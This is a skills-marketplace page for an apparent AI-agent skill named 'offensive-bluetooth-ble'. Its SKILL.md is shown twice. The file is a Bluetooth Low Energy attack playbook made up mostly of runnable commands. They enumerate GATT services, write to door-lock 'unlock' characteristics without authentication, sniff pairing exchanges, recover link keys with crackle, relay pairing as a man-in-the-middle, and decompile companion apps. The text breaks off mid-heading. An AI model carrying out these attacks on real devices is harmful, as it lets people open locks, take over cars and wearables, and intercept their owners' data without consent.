offensive-bluetooth-ble

Name: offensive-bluetooth-ble
Author: SnailSploit

2.8kstars447forks

How to install offensive-bluetooth-ble?

snailsploit/claude-red/offensive-bluetooth-ble

$npx -y skills add SnailSploit/Claude-Red --skill offensive-bluetooth-ble

Installs into the current project.

Summary

Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extracti

Files · 1

View on GitHub

SKILL.md

1	# Bluetooth Low Energy (BLE) Attacks
2
3	BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.
4
5	## Quick Workflow
6
7	1. Discover and enumerate the device's GATT tree
8	2. Test every characteristic for read/write/notify without authentication
9	3. Inspect pairing method — Just Works = no MITM protection
10	4. If Just Works, MITM the pairing to capture / inject
11	5. Reverse the companion app for proprietary command formats
12
13	---
14
15	## Discovery + GATT Enumeration
16
17	```bash
18	# bettercap (interactive)
19	sudo bettercap -eval "ble.recon on; events.show 60; ble.show"
20
21	# Or, attach to a known-MAC device
22	sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"
23
24	# bluetoothctl
25	bluetoothctl
26	> scan on
27	> connect AA:BB:CC:DD:EE:FF
28	> menu gatt
29	> list-attributes
30
31	# gatttool (deprecated but still works)
32	gatttool -b AA:BB:CC:DD:EE:FF -I
33	> connect
34	> primary # list services
35	> char-desc # list characteristics
36	> char-read-uuid <uuid>
37	> char-write-req <handle> <hex>
38	```
39
40	GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.
41
42	## Characteristic Auth-Free Read/Write
43
44	Test every characteristic flagged read/write/notify:
45
46	```bash
47	# Read all readable characteristics
48	for h in $(gatttool -b <MAC> --primary \| awk '{print $5}'); do
49	echo "=== Handle $h ==="
50	gatttool -b <MAC> --char-read --handle=$h
51	done
52
53	# Write to writable characteristics with crafted values
54	gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01
55	```
56
57	Common findings on consumer BLE devices:
58	- Door locks: `unlock` characteristic accepts any write (no auth)
59	- Smart bulbs: brightness/color writeable from any peer
60	- Wearables: PIN/lock-state readable
61	- BLE beacons: configurable from any peer (rebrand attacks)
62
63	## Pairing Method Identification
64
65	```bash
66	# Bluetoothctl shows pairing method on initial pair attempt
67	bluetoothctl
68	> pair AA:BB:CC:DD:EE:FF
69	# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works
70	```
71
72	\| Method \| Security \| Attack \|
73	\|---\|---\|---\|
74	\| Just Works \| None — authenticates anything \| Trivial MITM during pairing \|
75	\| Numeric Comparison \| User confirms 6-digit code \| UI manipulation only; crypto strong \|
76	\| Passkey Entry \| 6-digit code entered or displayed \| Brute attack on passkey crackable in some pairing variants \|
77	\| Out of Band (OOB) \| NFC / QR exchange \| Out of scope for BLE attacker \|
78
79	LE Legacy Pairing uses TK derivation that's crackable from a captured pairing exchange. LE Secure Connections (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.
80
81	## Sniffing the Pairing Exchange
82
83	```bash
84	# TI CC1352-based: Sniffle (modern, multi-channel)
85	sudo Sniffle -c 37,38,39 -o pairing.pcap
86
87	# Ubertooth (older but well-supported)
88	ubertooth-btle -f -c pairing.pcap
89
90	# Then in Wireshark, decode with crackle
91	crackle -i pairing.pcap -o decrypted.pcap
92	# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks
93	```
94
95	For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."
96
97	## Active MITM During Pairing
98
99	```bash
100	# btproxy / mirage-action-with-mitm — relay between device and victim's phone
101	mirage-action-with-mitm
102	# Or:
103	git clone https://github.com/Charmve/btproxy
104	sudo python btproxy.py
105	```
106
107	If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.
108
109	## Companion App Reverse Engineering
110
111	For vendor-defined characteristics, the format is in the app:
112
113	```bash
114	# Pull APK
115	adb pull /data/app/com.vendor.app/base.apk
116
117	# Decompile
118	jadx -d app_src base.apk
119
120	# Find BLE writes
121	grep -r "writeCharacteristic\\|GATT_CHARACTERISTIC" app_src/
122
123	# Look at the bytes the app writes vs. observed in-air values
124	```
125
126	Hand off to `offensive-mobile` for deeper companion analysis.
127
128	## Specific Device Classes
129
130	### Smart Locks
131
132	- Test `unlock` characteristic for unauth write
133	- Test if rolling token is replayable (capture-and-replay within window)
134	- Check for hardcoded LTK in firmware (chip-off + binary analysis — see `offensive-iot`)
135
136	### Cars (BLE P

People who liked this also viewed

6 picks

Type

offensive-bluetooth-ble

2.8kstars447forks

View on GitHub

How to install offensive-bluetooth-ble?

snailsploit/claude-red/offensive-bluetooth-ble

$npx -y skills add SnailSploit/Claude-Red --skill offensive-bluetooth-ble

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Bluetooth Low Energy (BLE) Attacks
2
3	BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.
4
5	## Quick Workflow
6
7	1. Discover and enumerate the device's GATT tree
8	2. Test every characteristic for read/write/notify without authentication
9	3. Inspect pairing method — Just Works = no MITM protection
10	4. If Just Works, MITM the pairing to capture / inject
11	5. Reverse the companion app for proprietary command formats
12
13	---
14
15	## Discovery + GATT Enumeration
16
17	```bash
18	# bettercap (interactive)
19	sudo bettercap -eval "ble.recon on; events.show 60; ble.show"
20
21	# Or, attach to a known-MAC device
22	sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"
23
24	# bluetoothctl
25	bluetoothctl
26	> scan on
27	> connect AA:BB:CC:DD:EE:FF
28	> menu gatt
29	> list-attributes
30
31	# gatttool (deprecated but still works)
32	gatttool -b AA:BB:CC:DD:EE:FF -I
33	> connect
34	> primary # list services
35	> char-desc # list characteristics
36	> char-read-uuid <uuid>
37	> char-write-req <handle> <hex>
38	```
39
40	GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.
41
42	## Characteristic Auth-Free Read/Write
43
44	Test every characteristic flagged read/write/notify:
45
46	```bash
47	# Read all readable characteristics
48	for h in $(gatttool -b <MAC> --primary \| awk '{print $5}'); do
49	echo "=== Handle $h ==="
50	gatttool -b <MAC> --char-read --handle=$h
51	done
52
53	# Write to writable characteristics with crafted values
54	gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01
55	```
56
57	Common findings on consumer BLE devices:
58	- Door locks: `unlock` characteristic accepts any write (no auth)
59	- Smart bulbs: brightness/color writeable from any peer
60	- Wearables: PIN/lock-state readable
61	- BLE beacons: configurable from any peer (rebrand attacks)
62
63	## Pairing Method Identification
64
65	```bash
66	# Bluetoothctl shows pairing method on initial pair attempt
67	bluetoothctl
68	> pair AA:BB:CC:DD:EE:FF
69	# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works
70	```
71
72	\| Method \| Security \| Attack \|
73	\|---\|---\|---\|
74	\| Just Works \| None — authenticates anything \| Trivial MITM during pairing \|
75	\| Numeric Comparison \| User confirms 6-digit code \| UI manipulation only; crypto strong \|
76	\| Passkey Entry \| 6-digit code entered or displayed \| Brute attack on passkey crackable in some pairing variants \|
77	\| Out of Band (OOB) \| NFC / QR exchange \| Out of scope for BLE attacker \|
78
79	LE Legacy Pairing uses TK derivation that's crackable from a captured pairing exchange. LE Secure Connections (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.
80
81	## Sniffing the Pairing Exchange
82
83	```bash
84	# TI CC1352-based: Sniffle (modern, multi-channel)
85	sudo Sniffle -c 37,38,39 -o pairing.pcap
86
87	# Ubertooth (older but well-supported)
88	ubertooth-btle -f -c pairing.pcap
89
90	# Then in Wireshark, decode with crackle
91	crackle -i pairing.pcap -o decrypted.pcap
92	# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks
93	```
94
95	For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."
96
97	## Active MITM During Pairing
98
99	```bash
100	# btproxy / mirage-action-with-mitm — relay between device and victim's phone
101	mirage-action-with-mitm
102	# Or:
103	git clone https://github.com/Charmve/btproxy
104	sudo python btproxy.py
105	```
106
107	If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.
108
109	## Companion App Reverse Engineering
110
111	For vendor-defined characteristics, the format is in the app:
112
113	```bash
114	# Pull APK
115	adb pull /data/app/com.vendor.app/base.apk
116
117	# Decompile
118	jadx -d app_src base.apk
119
120	# Find BLE writes
121	grep -r "writeCharacteristic\\|GATT_CHARACTERISTIC" app_src/
122
123	# Look at the bytes the app writes vs. observed in-air values
124	```
125
126	Hand off to `offensive-mobile` for deeper companion analysis.
127
128	## Specific Device Classes
129
130	### Smart Locks
131
132	- Test `unlock` characteristic for unauth write
133	- Test if rolling token is replayable (capture-and-replay within window)
134	- Check for hardcoded LTK in firmware (chip-off + binary analysis — see `offensive-iot`)
135
136	### Cars (BLE P

People who liked this also viewed

6 picks

Type